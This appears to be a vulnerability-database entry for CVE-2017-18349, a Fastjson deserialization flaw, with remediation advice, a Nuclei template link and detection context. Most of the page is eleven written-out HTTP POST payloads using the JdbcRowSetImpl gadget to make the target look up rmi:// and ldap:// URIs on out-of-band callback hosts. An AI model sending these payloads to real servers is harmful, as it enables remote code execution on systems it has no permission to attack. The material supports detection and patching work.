🔙 목록으로 돌아가기

CVE-2017-18349: Fastjson Insecure Deserialization - Remote Code Execution

TitleFastjson Insecure Deserialization - Remote Code Execution
Authornight
SeverityCritical
ImpactSuccessful exploitation allows complete system compromise through remote code execution, enabling attackers to execute arbitrary commands, access sensitive data, and establish persistent backdoors on the target system.
RemediationUpdate Fastjson to version 1.2.25 or later which includes security patches for this vulnerability.Disable autotype functionality by setting `fastjson.parser.autoTypeSupport=false`.Implement strict whitelist filtering for `@type` annotations, validate and sanitize all JSON input.Use Web Application Firewalls (WAF) to filter malicious requests, and regularly audit dependencies for known vulnerabilities. Consider migrating to safer JSON parsing libraries like Jackson with secure configurations.
CVSS Score9.8
EPSS Score0.92079
CVE IDCVE-2017-18349
CWE IDCWE-20
Tags cve cve2017 fastjson deserialization rce oob oast vkev vuln

🔍 Vulnerability Description

parseObject in Fastjson before 1.2.25, as used in FastjsonEngine in Pippo 1.11.0 and other products, allows remote attackers to execute arbitrary code via a crafted JSON request, as demonstrated by a crafted rmi-// URI in the dataSourceName field of HTTP POST data to the Pippo /json URI, which is mishandled in AjaxApplication.java.

🌐 HTTP Request

POST /json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Safari
Connection: close
Content-Length: 175
Accept: application/json
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip

{

  "@type": "com.sun.rowset.JdbcRowSetImpl",

  "dataSourceName": "rmi://d5jqachle0o1j23aerl0wzcdj4bg6fm7p.oast.live/38FfKqvMU0jbXs2Q4vsDL2hl6dH",

  "autoCommit": true

}

POST /api/json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Content-Length: 175
Accept: application/json
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip

{

  "@type": "com.sun.rowset.JdbcRowSetImpl",

  "dataSourceName": "rmi://d5jqachle0o1j23aerl0sgw9kdcqup1dn.oast.live/38FfKqvMU0jbXs2Q4vsDL2hl6dH",

  "autoCommit": true

}

POST /json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Connection: close
Content-Length: 176
Accept: application/json
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip

{

  "@type": "com.sun.rowset.JdbcRowSetImpl",

  "dataSourceName": "ldap://d5jqachle0o1j23aerl0rouzda99oqm7d.oast.live/38FfKqvMU0jbXs2Q4vsDL2hl6dH",

  "autoCommit": true

}

POST /api/json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 176
Accept: application/json
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip

{

  "@type": "com.sun.rowset.JdbcRowSetImpl",

  "dataSourceName": "ldap://d5jqachle0o1j23aerl0gupips891rcz9.oast.live/38FfKqvMU0jbXs2Q4vsDL2hl6dH",

  "autoCommit": true

}

POST /parse HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: close
Content-Length: 176
Accept: application/json
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip

{

  "@type": "com.sun.rowset.JdbcRowSetImpl",

  "dataSourceName": "ldap://d5jqachle0o1j23aerl0bh1ku9txdh3pi.oast.live/38FfKqvMU0jbXs2Q4vsDL2hl6dH",

  "autoCommit": true

}

POST /deserialize HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nl-nl) AppleWebKit/527+ (KHTML, like Gecko) Version/3.1.1 Safari/525.20
Connection: close
Content-Length: 176
Accept: application/json
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip

{

  "@type": "com.sun.rowset.JdbcRowSetImpl",

  "dataSourceName": "ldap://d5jqachle0o1j23aerl0115337hz51xeu.oast.live/38FfKqvMU0jbXs2Q4vsDL2hl6dH",

  "autoCommit": true

}

POST /json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.4 Safari/537.36
Connection: close
Content-Length: 199
Accept: application/json
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip

{

  "data": {

    "@type": "com.sun.rowset.JdbcRowSetImpl",

    "dataSourceName": "rmi://d5jqachle0o1j23aerl07uk44i77tusy1.oast.live/38FfKqvMU0jbXs2Q4vsDL2hl6dH",

    "autoCommit": true

  }

}

POST /api/json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 199
Accept: application/json
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip

{

  "data": {

    "@type": "com.sun.rowset.JdbcRowSetImpl",

    "dataSourceName": "rmi://d5jqachle0o1j23aerl0dqwcqhkmberb9.oast.live/38FfKqvMU0jbXs2Q4vsDL2hl6dH",

    "autoCommit": true

  }

}

POST /parse HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Content-Length: 199
Accept: application/json
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip

{

  "data": {

    "@type": "com.sun.rowset.JdbcRowSetImpl",

    "dataSourceName": "rmi://d5jqachle0o1j23aerl0fm7ubntgdygez.oast.live/38FfKqvMU0jbXs2Q4vsDL2hl6dH",

    "autoCommit": true

  }

}

POST /deserialize HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 199
Accept: application/json
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip

{

  "data": {

    "@type": "com.sun.rowset.JdbcRowSetImpl",

    "dataSourceName": "rmi://d5jqachle0o1j23aerl0j5c14rneam9q4.oast.live/38FfKqvMU0jbXs2Q4vsDL2hl6dH",

    "autoCommit": true

  }

}

POST /json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15
Connection: close
Content-Length: 197
Accept: application/json
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip

{

  "b": {

    "@type": "com.sun.rowset.JdbcRowSetImpl",

    "dataSourceName": "ldap://d5jqachle0o1j23aerl0zcwog854of9kc.oast.live/38FfKqvMU0jbXs2Q4vsDL2hl6dH",

    "autoCommit": true

  }

}

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-18349.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-18349.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A